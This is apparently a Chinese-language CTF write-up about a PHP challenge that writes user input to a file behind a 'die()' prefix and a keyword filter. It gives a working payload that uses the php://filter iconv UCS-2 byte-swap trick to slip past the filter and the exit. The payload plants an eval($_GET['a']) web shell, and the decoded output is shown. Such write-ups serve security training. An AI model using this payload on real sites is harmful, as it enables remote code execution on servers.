源码如下:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
这道题可以参考p牛的文章:谈一谈php://filter的妙用
方法和p牛的一样,只是这道题过滤了rot13,base64,string等一些过滤器的内容,那换其他过滤器不就完事了。php://filter的各种过滤器。这里我们用convert.iconv.*
这个过滤器。
payload:
GET: ?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php
POST: contents=?<hp pvela$(G_TE'['a)] ;>?
我们看看这段代码为啥能绕过exit
<?php
highlight_file(__FILE__);
file_put_contents("php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php"
, "<?php die();?>?<hp pvela$(G_TE'['a)] ;>?");
?>
再看看创建的5.php
?<hp pid(e;)>?<?php eval($_GET['a']); ?>
前面的die()被编码后不符合php格式,被当做字符串,而我们传的代码编码后正常了。